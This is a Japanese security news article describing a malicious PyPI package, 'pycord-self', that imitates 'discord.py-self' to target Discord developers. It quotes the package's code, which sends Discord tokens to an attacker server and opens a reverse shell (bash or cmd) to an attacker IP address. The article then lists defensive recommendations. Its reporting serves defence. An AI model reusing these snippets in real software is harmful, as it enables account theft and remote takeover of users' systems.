悪意のあるPyPi パッケージがDiscord 開発者を標的にする

セキュリティニュース

投稿日時: 更新日時:

悪意のあるPyPi パッケージがDiscord 開発者を標的にする

海外のセキュリティ企業Socket 約 2,800 万回ダウンロードされている非常に人気の高い「discord.py-self」を模倣した、悪意のあるPyPi パッケージ「pycord-self」がDiscord 開発者を標的にして認証トークンを盗み、システムをリモート制御するためのバックドアを仕掛けている事を指摘しました。

正規パッケージ: 「discord.py-self」とは

Python プログラミング言語を使用して Discord ユーザーアカウントを操作するためのライブラリです。具体的には、Discord API をラップしており、ユーザーアカウントとしてボットのような動作を実現するためのツールです。

悪意のあるパッケージ「pycord-self」はこのdiscord.py-selfへ見た目と内容を偽装し、Discord 開発者を標的にしています。

正規パッケージ: 「discord.py-self」の概要ページ

  • 作者: Dolfies
  • リリース日: 2023年4月8日
  • ダウンロード数: 2,788万回

 

正規パッケージ discord.py-self

悪意のあるパッケージpycord-selfの概要ページ

  • 作者: Linkedminds(偽名)
  • リリース日: 2024年6月20日
  • ダウンロード数: 885回

悪意のあるパッケージpycord-self

「pycord-self」パッケージには、次のアクションを実行できる悪意のあるコードが含まれていることが判明しました。

Discordトークンの盗難

  • Discord認証トークンを攻撃者のサーバー(http://radium.lol:42069/...)へ送信。
  • 攻撃者がトークンを使用して被害者のアカウントへ不正アクセス可能。

async def login(self, token: str) -> None:
  requests.get(
    'http://radium.lol:42069/v2/...',
  headers={'X-Sw-Version': token}
  )

バックドアの永続化

  • 攻撃者のリモートサーバー(IP: 45.159.223.177, ポート: 6969)に接続。
  • 被害者システム上でLinuxは「bash」、Windowsは「cmd」のシェルを起動し、攻撃者に永続的なアクセスを提供。
def __internal_login():
  if platform.system() == 'Linux': 
    s.connect(("45.159.223.177", 6969)) 
    subprocess.Popen(["bash"], stdin=s.fileno(), stdout=s.fileno()) 
  elif platform.system() == 'Windows': 
    s.connect(("45.159.223.177", 6969)) 
    subprocess.Popen(["cmd"], stdin=s.fileno(), stdout=s.fileno())

threading.Thread(target=__internal_login).start()

推奨対策

  1. パッケージの確認:
    • インストール前にPyPIパッケージの信頼性(作者やダウンロード数)を確認。
  2. セキュリティ対策:
  3. インシデント対応:
    • 万が一感染した場合は、即座にトークンの再生成とシステムのスキャンを実施。